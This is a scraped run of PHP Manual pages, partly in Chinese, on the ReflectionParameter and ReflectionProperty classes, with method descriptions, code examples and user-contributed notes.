  • ReflectionParameter::getDeclaringClass — Gets declaring class
  • ReflectionParameter::getDeclaringFunction — Gets declaring function
  • ReflectionParameter::getDefaultValue — Gets default parameter value
  • ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::getName — Gets parameter name
  • ReflectionParameter::getPosition — Gets parameter position
  • ReflectionParameter::getType — Gets a parameter's type
  • ReflectionParameter::hasType — Checks if parameter has a type
  • ReflectionParameter::isArray — Checks if parameter expects an array
  • ReflectionParameter::isCallable — Returns whether parameter MUST be callable
  • ReflectionParameter::isDefaultValueAvailable — 检查是否有默认值。
  • ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant
  • ReflectionParameter::isOptional — Checks if optional
  • ReflectionParameter::isPassedByReference — Checks if passed by reference
  • ReflectionParameter::isVariadic — Checks if the parameter is variadic
  • ReflectionParameter::__toString — To string

User Contributed Notes

fgm at riff dot org 11-May-2008 12:44
The note about the signature of the ReflectionParameter constructor is actually incomplete, at least in 5.2.5: it is possible to use an integer for the second parameter, and the constructor will use it to return the n-th parameter.

This allows you to obtain proper ReflectionParameter objects even when documenting code from extensions which (strangely enough) define several parameters with the same name. The string-based constructor always returns the first parameter with the matching name, whereas the integer-based constructor correctly returns the n-th parameter.

So, in short, this works:
<?php
// supposing the extension defined something like:
// Some_Class::someMethod($a, $x, $y, $x, $y)
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 4);
// returns the last parameter, whereas
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 'y');
// always returns the first $y at position 2
?>
killgecNOFSPAM at gmail dot com 25-Jul-2007 05:53
Signature of constructor of ReflectionParameter correctly is:

public function __construct(array/string $function, string $name);

where $function is either a name of a global function, or a class/method name pair.
massimo at mmware dot it 18-Jul-2007 08:58
I found these limitations using class ReflectionParameter from ReflectionFunction with INTERNAL FUNCTIONS (eg print_r, str_replace, ... ) :

1. parameter names don't match with manual: (try example 19.35 with arg "call_user_func" )
2. some functions (eg PCRE function, preg_match etc) have EMPTY parameter names
3. calling getDefaultValue on Parameters will result in Exception "Cannot determine default value for internal functions"


Checks if null is allowed

  • ? ReflectionParameter
  • ReflectionParameter::canBePassedByValue ?
  • PHP Manual
  • ReflectionParameter
  • Checks if null is allowed

ReflectionParameter::allowsNull

(PHP 5, PHP 7)

ReflectionParameter::allowsNull — Checks if null is allowed

说明

public ReflectionParameter::allowsNull ( void ) : bool

Checks whether the parameter allows NULL.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

TRUE if NULL is allowed, otherwise FALSE

参见

  • ReflectionParameter::isOptional() - Checks if optional

User Contributed Notes

Geoffrey LAURENT 05-May-2013 03:53
The allowsNull method look if arguments have a type.
If a type is defined, null is allowed only if default value is null.

 <?php
function myfunction ( $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : true

<?php
function myfunction ( stdClass $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : false

<?php
function myfunction ( stdClass $param = null ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";
?>

Result : true


Returns whether this parameter can be passed by value

  • ? ReflectionParameter::allowsNull
  • ReflectionParameter::__clone ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether this parameter can be passed by value

ReflectionParameter::canBePassedByValue

(PHP 5 >= 5.4.0, PHP 7)

ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value

说明

public ReflectionParameter::canBePassedByValue ( void ) : bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns TRUE if the parameter can be passed by value, FALSE otherwise. Returns NULL in case of an error.

User Contributed Notes

There are no user contributed notes for this page.


Clone

  • ? ReflectionParameter::canBePassedByValue
  • ReflectionParameter::__construct ?
  • PHP Manual
  • ReflectionParameter
  • Clone

ReflectionParameter::__clone

(PHP 5, PHP 7)

ReflectionParameter::__clone — Clone

说明

final private ReflectionParameter::__clone ( void ) : void

Clones.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • ReflectionParameter::toString()
  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Construct

  • ? ReflectionParameter::__clone
  • ReflectionParameter::export ?
  • PHP Manual
  • ReflectionParameter
  • Construct

ReflectionParameter::__construct

(PHP 5, PHP 7)

ReflectionParameter::__construct — Construct

说明

public ReflectionParameter::__construct ( string $function , string $parameter )

Constructs a ReflectionParameter class.

Warning

本函数还未编写文档，仅有参数列表。

参数

function

The function to reflect parameters from.

parameter

The parameter.

返回值

没有返回值。

范例

Example #1 Using the ReflectionParameter class

<?php
function foo($a, $b, $c) { }
function bar(Exception $a, &$b, $c) { }
function baz(ReflectionFunction $a, $b = 1, $c = null) { }
function abc() { }

$reflect = new ReflectionFunction('foo');

echo $reflect;

foreach ($reflect->getParameters() as $i => $param) {
    printf(
        "-- Parameter #%d: %s {\n".
        "   Class: %s\n".
        "   Allows NULL: %s\n".
        "   Passed to by reference: %s\n".
        "   Is optional?: %s\n".
        "}\n",
        $i, // $param->getPosition() can be used from PHP 5.2.3
        $param->getName(),
        var_export($param->getClass(), 1),
        var_export($param->allowsNull(), 1),
        var_export($param->isPassedByReference(), 1),
        $param->isOptional() ? 'yes' : 'no'
    );
}
?>

以上例程的输出类似于：

Function [ <user> function foo ] {
  @@ /Users/philip/cvs/phpdoc/a 2 - 2

  - Parameters [3] {
    Parameter #0 [ <required> $a ]
    Parameter #1 [ <required> $b ]
    Parameter #2 [ <required> $c ]
  }
}
-- Parameter #0: a {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}
-- Parameter #1: b {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}
-- Parameter #2: c {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}

参见

  • ReflectionFunction::__construct() - Constructs a ReflectionFunction object
  • ReflectionMethod::__construct() - ReflectionMethod 的构造函数
  • Constructors

User Contributed Notes

tracid2008 t gmail o com 06-Dec-2011 03:31
You also can use a class instead of a function name. Just use an array like that
<?php
$reflect = new ReflectionParameter(array('className', 'methodName'), 'property');
?>


Exports

  • ? ReflectionParameter::__construct
  • ReflectionParameter::getClass ?
  • PHP Manual
  • ReflectionParameter
  • Exports

ReflectionParameter::export

(PHP 5, PHP 7)

ReflectionParameter::export — Exports

说明

public static ReflectionParameter::export ( string $function , string $parameter [, bool $return ] ) : string

Exports.

Warning

本函数还未编写文档，仅有参数列表。

参数

function

The function name.

parameter

The parameter name.

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

The exported reflection.

参见

  • ReflectionParameter::toString()

User Contributed Notes

There are no user contributed notes for this page.


获得类型提示类。

  • ? ReflectionParameter::export
  • ReflectionParameter::getDeclaringClass ?
  • PHP Manual
  • ReflectionParameter
  • 获得类型提示类。

ReflectionParameter::getClass

(PHP 5, PHP 7)

ReflectionParameter::getClass — 获得类型提示类。

说明

public ReflectionParameter::getClass ( void ) : ReflectionClass

获取参数的类型提示类，类型为ReflectionClass对象。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

一个 ReflectionClass 对象。

范例

Example #1 使用 ReflectionParameter 类

<?php
function foo(Exception $a) { }

$functionReflection = new ReflectionFunction('foo');
$parameters = $functionReflection->getParameters();
$aParameter = $parameters[0];

echo $aParameter->getClass()->name;
?>

以上例程会输出：

Exception

参见

  • ReflectionParameter::getDeclaringClass() - Gets declaring class

User Contributed Notes

tom at r dot je 11-May-2012 09:15
ReflectionParameter::getClass() will cause a fatal error (and trigger __autoload) if the class required by the parameter is not defined.

Sometimes it's useful to only know the class name without needing the class to be loaded.

Here's a simple function that will retrieve only the class name without requiring the class to exist:

<?php
function getClassName(ReflectionParameter $param) {
    preg_match('/\[\s\<\w+?>\s([\w]+)/s', $param->__toString(), $matches);
    return isset($matches[1]) ? $matches[1] : null;
}
?>
infernaz at gmail dot com 31-Jan-2011 12:09
The method returns ReflectionClass object of parameter type class or NULL if none.

<?php

class A {
    function b(B $c, array $d, $e) {
    }
}
class B {
}

$refl = new ReflectionClass('A');
$par = $refl->getMethod('b')->getParameters();

var_dump($par[0]->getClass()->getName());  // outputs B
var_dump($par[1]->getClass());  // note that array type outputs NULL
var_dump($par[2]->getClass());  // outputs NULL

?>


Gets declaring class

  • ? ReflectionParameter::getClass
  • ReflectionParameter::getDeclaringFunction ?
  • PHP Manual
  • ReflectionParameter
  • Gets declaring class

ReflectionParameter::getDeclaringClass

(PHP 5 >= 5.1.3, PHP 7)

ReflectionParameter::getDeclaringClass — Gets declaring class

说明

public ReflectionParameter::getDeclaringClass ( void ) : ReflectionClass

Gets the declaring class.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A ReflectionClass object or NULL if called on function.

范例

Example #1 Getting the class that declared the method

<?php
class Foo
{
    public function bar(\DateTime $datetime)
    {
    }
}

class Baz extends Foo
{
}

$param = new \ReflectionParameter(['Baz', 'bar'], 0);

var_dump($param->getDeclaringClass());

以上例程会输出：

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(3) "Foo"
}

参见

  • ReflectionParameter::getClass() - 获得类型提示类。

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring function

  • ? ReflectionParameter::getDeclaringClass
  • ReflectionParameter::getDefaultValue ?
  • PHP Manual
  • ReflectionParameter
  • Gets declaring function

ReflectionParameter::getDeclaringFunction

(PHP 5 >= 5.1.3, PHP 7)

ReflectionParameter::getDeclaringFunction — Gets declaring function

说明

public ReflectionParameter::getDeclaringFunction ( void ) : ReflectionFunctionAbstract

Gets the declaring function.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A ReflectionFunction object.

参见

  • ReflectionParameter::getDeclaringClass() - Gets declaring class

User Contributed Notes

There are no user contributed notes for this page.


Gets default parameter value

  • ? ReflectionParameter::getDeclaringFunction
  • ReflectionParameter::getDefaultValueConstantName ?
  • PHP Manual
  • ReflectionParameter
  • Gets default parameter value

ReflectionParameter::getDefaultValue

(PHP 5 >= 5.0.3, PHP 7)

ReflectionParameter::getDefaultValue — Gets default parameter value

说明

public ReflectionParameter::getDefaultValue ( void ) : mixed

Gets the default value of the parameter for a user-defined function or method. If the parameter is not optional a ReflectionException will be thrown.

参数

此函数没有参数。

返回值

The parameters default value.

范例

Example #1 Getting default values of function parameters

<?php
function foo($test, $bar = 'baz')
{
    echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
    echo 'Name: ' . $param->getName() . PHP_EOL;
    if ($param->isOptional()) {
        echo 'Default value: ' . $param->getDefaultValue() . PHP_EOL;
    }
    echo PHP_EOL;
}
?>

以上例程会输出：

Name: test

Name: bar
Default value: baz

注释

Note:

Due to implementation details, it is not possible to get the default value of built-in functions or methods of built-in classes. Trying to do this will result a ReflectionException being thrown.

参见

  • ReflectionParameter::isOptional() - Checks if optional
  • ReflectionParameter::isDefaultValueAvailable() - 检查是否有默认值。
  • ReflectionParameter::getDefaultValueConstantName() - Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::isPassedByReference() - Checks if passed by reference

User Contributed Notes

gmail@asmqb7 16-May-2016 12:57
[Editor's note: fixed on user's request]

Getting `Uncaught ReflectionException: Internal error: Failed to retrieve the default value`?

You have to wrap this inside ->isDefaultValueAvailable().


Returns the default value's constant name if default value is constant or null

  • ? ReflectionParameter::getDefaultValue
  • ReflectionParameter::getName ?
  • PHP Manual
  • ReflectionParameter
  • Returns the default value's constant name if default value is constant or null

ReflectionParameter::getDefaultValueConstantName

(PHP 5 >= 5.4.6, PHP 7)

ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null

说明

public ReflectionParameter::getDefaultValueConstantName ( void ) : string

Returns the default value's constant name of the parameter of a user-defined function or method, if default value is constant or null. If the parameter is not optional a ReflectionException will be thrown.

参数

此函数没有参数。

返回值

Returns string on success or NULL on failure.

范例

Example #1 Getting default values' constant names of function parameters

<?php
function foo($test, $bar = PHP_INT_MIN)
{
    echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
    echo 'Name: ' . $param->getName() . PHP_EOL;
    if ($param->isOptional()) {
        echo 'Default value: ' . $param->getDefaultValueConstantName() . PHP_EOL;
    }
    echo PHP_EOL;
}
?>

以上例程会输出：

Name: test

Name: bar
Default value: PHP_INT_MIN

注释

Note:

Due to implementation details, it is not possible to get the default value of built-in functions or methods of built-in classes. Trying to do this will result a ReflectionException being thrown.

参见

  • ReflectionParameter::isOptional() - Checks if optional
  • ReflectionParameter::isDefaultValueConstant() - Returns whether the default value of this parameter is a constant
  • ReflectionParameter::getDefaultValue() - Gets default parameter value

User Contributed Notes

There are no user contributed notes for this page.


Gets parameter name

  • ? ReflectionParameter::getDefaultValueConstantName
  • ReflectionParameter::getPosition ?
  • PHP Manual
  • ReflectionParameter
  • Gets parameter name

ReflectionParameter::getName

(PHP 5, PHP 7)

ReflectionParameter::getName — Gets parameter name

说明

public ReflectionParameter::getName ( void ) : string

Gets the name of the parameter.

参数

此函数没有参数。

返回值

The name of the reflected parameter.

参见

  • ReflectionParameter::getValue()

User Contributed Notes

mike 25-May-2015 07:26
FYI, it returns the parameter name without the dollars($) sign at the start.


Gets parameter position

  • ? ReflectionParameter::getName
  • ReflectionParameter::getType ?
  • PHP Manual
  • ReflectionParameter
  • Gets parameter position

ReflectionParameter::getPosition

(PHP 5 >= 5.1.3, PHP 7)

ReflectionParameter::getPosition — Gets parameter position

说明

public ReflectionParameter::getPosition ( void ) : int

Gets the position of the parameter.

参数

此函数没有参数。

返回值

The position of the parameter, left to right, starting at position #0.

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

micah at raincross-tech dot com 05-Dec-2010 07:26
Note that the ReflectionFunctionAbstract::getParameters() method will return the parameters in the correct order.


Gets a parameter's type

  • ? ReflectionParameter::getPosition
  • ReflectionParameter::hasType ?
  • PHP Manual
  • ReflectionParameter
  • Gets a parameter's type

ReflectionParameter::getType

(PHP 7)

ReflectionParameter::getType — Gets a parameter's type

说明

public ReflectionParameter::getType ( void ) : ReflectionType

Gets the associated type of a parameter.

参数

此函数没有参数。

返回值

Returns a ReflectionType object if a parameter type is specified, NULL otherwise.

范例

Example #1 ReflectionParameter::getType() Usage as of PHP 7.1.0

As of PHP 7.1.0, ReflectionType::__toString() is deprecated, and ReflectionParamater::getType() may return an instance of ReflectionNamedType. To get the name of the parameter type, ReflectionNamedType() is available in this case.

<?php
function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

assert($reflectionType1 instanceof ReflectionNamedType);
echo $reflectionType1->getName(), PHP_EOL;
var_dump($reflectionType2);
?>

以上例程会输出：

int
NULL

Example #2 ReflectionParameter::getType() Usage before PHP 7.1.0

<?php
function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

echo $reflectionType1, PHP_EOL;
var_dump($reflectionType2);
?>

Output of the above example in PHP 7.0:

int
NULL

参见

  • ReflectionParameter::hasType() - Checks if parameter has a type
  • ReflectionType::__toString() - To string

User Contributed Notes

There are no user contributed notes for this page.


Checks if parameter has a type

  • ? ReflectionParameter::getType
  • ReflectionParameter::isArray ?
  • PHP Manual
  • ReflectionParameter
  • Checks if parameter has a type

ReflectionParameter::hasType

(PHP 7)

ReflectionParameter::hasType — Checks if parameter has a type

说明

public ReflectionParameter::hasType ( void ) : bool

Checks if the parameter has a type associated with it.

参数

此函数没有参数。

返回值

TRUE if a type is specified, FALSE otherwise.

范例

Example #1 ReflectionParameter::hasType() example

<?php
function someFunction(string $param, $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->hasType());
var_dump($reflectionParams[1]->hasType());

以上例程的输出类似于：

bool(true)
bool(false)

参见

  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


Checks if parameter expects an array

  • ? ReflectionParameter::hasType
  • ReflectionParameter::isCallable ?
  • PHP Manual
  • ReflectionParameter
  • Checks if parameter expects an array

ReflectionParameter::isArray

(PHP 5 >= 5.1.2, PHP 7)

ReflectionParameter::isArray — Checks if parameter expects an array

说明

public ReflectionParameter::isArray ( void ) : bool

Checks if the parameter expects an array.

参数

此函数没有参数。

返回值

TRUE if an array is expected, FALSE otherwise.

参见

  • ReflectionParameter::isOptional() - Checks if optional

User Contributed Notes

There are no user contributed notes for this page.


Returns whether parameter MUST be callable

  • ? ReflectionParameter::isArray
  • ReflectionParameter::isDefaultValueAvailable ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether parameter MUST be callable

ReflectionParameter::isCallable

(PHP 5 >= 5.4.0, PHP 7)

ReflectionParameter::isCallable — Returns whether parameter MUST be callable

说明

public ReflectionParameter::isCallable ( void ) : bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns TRUE if the parameter is callable, FALSE if it is not or NULL on failure.

User Contributed Notes

me at abiusx dot com 15-Jan-2016 05:18
Apparently this does not return true for callback arguments to many of the internal functions, such as array_map and array_walk.


检查是否有默认值。

  • ? ReflectionParameter::isCallable
  • ReflectionParameter::isDefaultValueConstant ?
  • PHP Manual
  • ReflectionParameter
  • 检查是否有默认值。

ReflectionParameter::isDefaultValueAvailable

(PHP 5 >= 5.0.3, PHP 7)

ReflectionParameter::isDefaultValueAvailable — 检查是否有默认值。

说明

public ReflectionParameter::isDefaultValueAvailable ( void ) : bool

检查参数是否有默认值。

参数

此函数没有参数。

返回值

如果有默认值返回，TRUE if a default value is available, 否则返回 FALSE

参见

  • ReflectionParameter::getDefaultValue() - Gets default parameter value
  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the default value of this parameter is a constant

  • ? ReflectionParameter::isDefaultValueAvailable
  • ReflectionParameter::isOptional ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether the default value of this parameter is a constant

ReflectionParameter::isDefaultValueConstant

(PHP 5 >= 5.4.6, PHP 7)

ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant

说明

public ReflectionParameter::isDefaultValueConstant ( void ) : bool

Returns whether the default value of this parameter is a constant.

参数

此函数没有参数。

返回值

Returns TRUE if the default value is constant, and FALSE otherwise.

参见

  • ReflectionParameter::getDefaultValueConstantName() - Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::isDefaultValueAvailable() - 检查是否有默认值。

User Contributed Notes

kristianoye at gmail dot com 25-May-2015 09:39
This method returns true only if the parameter's default value is set to a named constant.  e.g.

class Foo {
   const OPTION_MULTIGET = 1;

   //Method 1
   public function setGetOptions($opts=0);

   //Method 2
   public function setMultiGetOptions($opts=Foo::OPTION_MULTIGET);
}

Method 1's first ReflectionParameter will return isDefaultValueConstant() = false (0 is a "constant"/static value but not a named constant) and Method 2's will return isDefaultValueConsntant() = true.


Checks if optional

  • ? ReflectionParameter::isDefaultValueConstant
  • ReflectionParameter::isPassedByReference ?
  • PHP Manual
  • ReflectionParameter
  • Checks if optional

ReflectionParameter::isOptional

(PHP 5 >= 5.0.3, PHP 7)

ReflectionParameter::isOptional — Checks if optional

说明

public ReflectionParameter::isOptional ( void ) : bool

Checks if the parameter is optional.

参数

此函数没有参数。

返回值

TRUE if the parameter is optional, otherwise FALSE

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Checks if passed by reference

  • ? ReflectionParameter::isOptional
  • ReflectionParameter::isVariadic ?
  • PHP Manual
  • ReflectionParameter
  • Checks if passed by reference

ReflectionParameter::isPassedByReference

(PHP 5, PHP 7)

ReflectionParameter::isPassedByReference — Checks if passed by reference

说明

public ReflectionParameter::isPassedByReference ( void ) : bool

Checks if the parameter is passed in by reference.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

TRUE if the parameter is passed in by reference, otherwise FALSE

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Checks if the parameter is variadic

  • ? ReflectionParameter::isPassedByReference
  • ReflectionParameter::__toString ?
  • PHP Manual
  • ReflectionParameter
  • Checks if the parameter is variadic

ReflectionParameter::isVariadic

(PHP 5 >= 5.6.0, PHP 7)

ReflectionParameter::isVariadic — Checks if the parameter is variadic

说明

public ReflectionParameter::isVariadic ( void ) : bool

Checks if the parameter was declared as a variadic parameter.

参数

此函数没有参数。

返回值

Returns TRUE if the parameter is variadic, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


To string

  • ? ReflectionParameter::isVariadic
  • ReflectionProperty ?
  • PHP Manual
  • ReflectionParameter
  • To string

ReflectionParameter::__toString

(PHP 5, PHP 7)

ReflectionParameter::__toString — To string

说明

public ReflectionParameter::__toString ( void ) : string

To string.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • ReflectionParameter::export() - Exports
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionProperty 类

(PHP 5, PHP 7)

简介

ReflectionProperty 类报告了类的属性的相关信息。

类摘要

ReflectionProperty implements Reflector {
/* 常量 */
const integer IS_STATIC = 1 ;
const integer IS_PUBLIC = 256 ;
const integer IS_PROTECTED = 512 ;
const integer IS_PRIVATE = 1024 ;
/* 属性 */
public $name ;
public $class ;
/* 方法 */
final private __clone ( void ) : void
public __construct ( mixed $class , string $name )
public static export ( mixed $class , string $name [, bool $return ] ) : string
public getDeclaringClass ( void ) : ReflectionClass
public getDocComment ( void ) : string
public getModifiers ( void ) : int
public getName ( void ) : string
public getValue ([ object $object ] ) : mixed
public isDefault ( void ) : bool
public isPrivate ( void ) : bool
public isProtected ( void ) : bool
public isPublic ( void ) : bool
public isStatic ( void ) : bool
public setAccessible ( bool $accessible ) : void
public setValue ( object $object , mixed $value ) : void
public __toString ( void ) : string
}

属性

name

属性的名称。只读，在尝试赋值的时候抛出 ReflectionException。

class

定义的属性所在的类。只读，在尝试赋值的时候抛出 ReflectionException。

预定义常量

ReflectionProperty 修饰符

ReflectionProperty::IS_STATIC

指示了 static 的属性。

ReflectionProperty::IS_PUBLIC

指示了 public 的属性。

ReflectionProperty::IS_PROTECTED

指示了 protected 的属性。

ReflectionProperty::IS_PRIVATE

指示了 private 的属性。

Table of Contents

  • ReflectionProperty::__clone — Clone
  • ReflectionProperty::__construct — Construct a ReflectionProperty object
  • ReflectionProperty::export — Export
  • ReflectionProperty::getDeclaringClass — Gets declaring class
  • ReflectionProperty::getDocComment — Gets the property doc comment
  • ReflectionProperty::getModifiers — Gets the property modifiers
  • ReflectionProperty::getName — Gets property name
  • ReflectionProperty::getValue — Gets value
  • ReflectionProperty::isDefault — Checks if property is a default property
  • ReflectionProperty::isPrivate — Checks if property is private
  • ReflectionProperty::isProtected — Checks if property is protected
  • ReflectionProperty::isPublic — Checks if property is public
  • ReflectionProperty::isStatic — Checks if property is static
  • ReflectionProperty::setAccessible — Set property accessibility
  • ReflectionProperty::setValue — Set property value
  • ReflectionProperty::__toString — To string

User Contributed Notes

Nanhe Kumar 06-Jan-2014 12:36
<?php
//serialize static properties (class variable)

class Student {

    private $members = array();
    protected $name;
    public static $noOfStudent;

    public function __construct($name = 'Nanhe Kumar') {
        $this->name = $name;
        Student::$noOfStudent++;
    }

    public function __sleep() {
        $vars = get_class_vars(get_class($this));
        foreach ($vars as $key => $val) {
            if (!empty($val))
                $this->members[$key] = $val;
        }
        return array_keys(get_object_vars($this));
    }

    public function __wakeup() {
        foreach ($this->members as $key => $val) {
            $prop = new ReflectionProperty(get_class($this), $key);
            $prop->setValue(get_class($this), $val);
        }
        $this->members = array();
    }

    public function getTotalStudent() {
        return self::$noOfStudent;
    }

}

$so1 = new Student();
$so2 = new Student();
$serialized = serialize($so1);
print_r($serialized); //O:7:"Student":2:{s:16:"Studentmembers";a:1:{s:11:"noOfStudent";i:2;}s:7:"*name";s:11:"Nanhe Kumar";}
$unserialized = unserialize($serialized);
print_r($unserialized); //Student Object ( [members:Student:private] => Array ( ) [name:protected] => Nanhe Kumar )
echo Student::$noOfStudent; //2
?>
rasmus at mindplay dot dk 30-Jul-2010 05:06
I think a more accurate explanation is this:

The Reflection classes are designed to reflect upon the source code of an application, not on any runtime information.

I think you misunderstand the ReflectionProperty constructor in your example above. The fact that it accepts an object as argument is just a convenience feature - you are actually inspecting the class of that object, not the object itself, so it's basically equivalent to:

<?php

// works fine
$Reflection = new ReflectionProperty(get_class($a), 'a');

// throws exception
$Reflection = new ReflectionProperty(get_class($a), 'foo');

?>

Getting the class of the object you're passing in is implied, since inspecting a defined property is the purpose of this class.

In your example, $a->foo is a dynamic member - it is not defined as a member of class, so there is no defining class reference, line number, default value, etc. - which means, there is nothing to reflect upon.

Clearly this very useful library could use some real documentation...


Clone

  • ? ReflectionProperty
  • ReflectionProperty::__construct ?
  • PHP Manual
  • ReflectionProperty
  • Clone

ReflectionProperty::__clone

(PHP 5, PHP 7)

ReflectionProperty::__clone — Clone

说明

final private ReflectionProperty::__clone ( void ) : void

Clones.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • ReflectionProperty::export() - Export
  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Construct a ReflectionProperty object

  • ? ReflectionProperty::__clone
  • ReflectionProperty::export ?
  • PHP Manual
  • ReflectionProperty
  • Construct a ReflectionProperty object

ReflectionProperty::__construct

(PHP 5, PHP 7)

ReflectionProperty::__construct — Construct a ReflectionProperty object

说明

public ReflectionProperty::__construct ( mixed $class , string $name )

Warning

本函数还未编写文档，仅有参数列表。

参数

class

The class name, that contains the property.

name

The name of the property being reflected.

返回值

没有返回值。

错误／异常

Trying to get or set private or protected class property's values will result in an exception being thrown.

范例

Example #1 ReflectionProperty::__construct() example

<?php
class Str
{
    public $length  = 5;
}

// Create an instance of the ReflectionProperty class
$prop = new ReflectionProperty('Str', 'length');

// Print out basic information
printf(
    "===> The%s%s%s%s property '%s' (which was %s)\n" .
    "     having the modifiers %s\n",
        $prop->isPublic() ? ' public' : '',
        $prop->isPrivate() ? ' private' : '',
        $prop->isProtected() ? ' protected' : '',
        $prop->isStatic() ? ' static' : '',
        $prop->getName(),
        $prop->isDefault() ? 'declared at compile-time' : 'created at run-time',
        var_export(Reflection::getModifierNames($prop->getModifiers()), 1)
);

// Create an instance of Str
$obj= new Str();

// Get current value
printf("---> Value is: ");
var_dump($prop->getValue($obj));

// Change value
$prop->setValue($obj, 10);
printf("---> Setting value to 10, new value is: ");
var_dump($prop->getValue($obj));

// Dump object
var_dump($obj);
?>

以上例程的输出类似于：

===> The public property 'length' (which was declared at compile-time)
     having the modifiers array (
  0 => 'public',
)
---> Value is: int(5)
---> Setting value to 10, new value is: int(10)
object(Str)#2 (1) {
  ["length"]=>
  int(10)
}

Example #2 Getting value from private and protected properties using ReflectionProperty class

<?php

class Foo {
    public $x = 1;
    protected $y = 2;
    private $z = 3;
}

$obj = new Foo;

$prop = new ReflectionProperty('Foo', 'y');
$prop->setAccessible(true); /* As of PHP 5.3.0 */
var_dump($prop->getValue($obj)); // int(2)

$prop = new ReflectionProperty('Foo', 'z');
$prop->setAccessible(true); /* As of PHP 5.3.0 */
var_dump($prop->getValue($obj)); // int(2)

?>

以上例程的输出类似于：

int(2)
int(3)

参见

  • ReflectionProperty::getName() - Gets property name
  • Constructors

User Contributed Notes

geoffsmiths at hotmail dot com 05-Jul-2017 12:20
At example #2: the comment // int(2) is stated while the value for the private property is actually 3. (private $z = 3;)

var_dump($prop->getValue($obj)); // This should be int(3)


Export

  • ? ReflectionProperty::__construct
  • ReflectionProperty::getDeclaringClass ?
  • PHP Manual
  • ReflectionProperty
  • Export

ReflectionProperty::export

(PHP 5, PHP 7)

ReflectionProperty::export — Export

说明

public static ReflectionProperty::export ( mixed $class , string $name [, bool $return ] ) : string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

argument

导出的反射。

name

The property name.

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

参见

  • ReflectionProperty::toString()

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring class

  • ? ReflectionProperty::export
  • ReflectionProperty::getDocComment ?
  • PHP Manual
  • ReflectionProperty
  • Gets declaring class

ReflectionProperty::getDeclaringClass

(PHP 5, PHP 7)

ReflectionProperty::getDeclaringClass — Gets declaring class

说明

public ReflectionProperty::getDeclaringClass ( void ) : ReflectionClass

Gets the declaring class.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A ReflectionClass object.

参见

  • ReflectionProperty::getName() - Gets property name

User Contributed Notes

metamarkers at gmail dot com 17-May-2013 06:30
If you're reflecting an object and get the declaring class of a property that's set but wasn't declared in any class, it returns the class of the instance.

<?php

class X {

}

$x = new X();
$x->foo = 'bar';
$reflection = new ReflectionObject($x);
echo $reflection->getProperty('foo')->getDeclaringClass()->getName(); // X

?>


Gets the property doc comment

  • ? ReflectionProperty::getDeclaringClass
  • ReflectionProperty::getModifiers ?
  • PHP Manual
  • ReflectionProperty
  • Gets the property doc comment

ReflectionProperty::getDocComment

(PHP 5 >= 5.1.0, PHP 7)

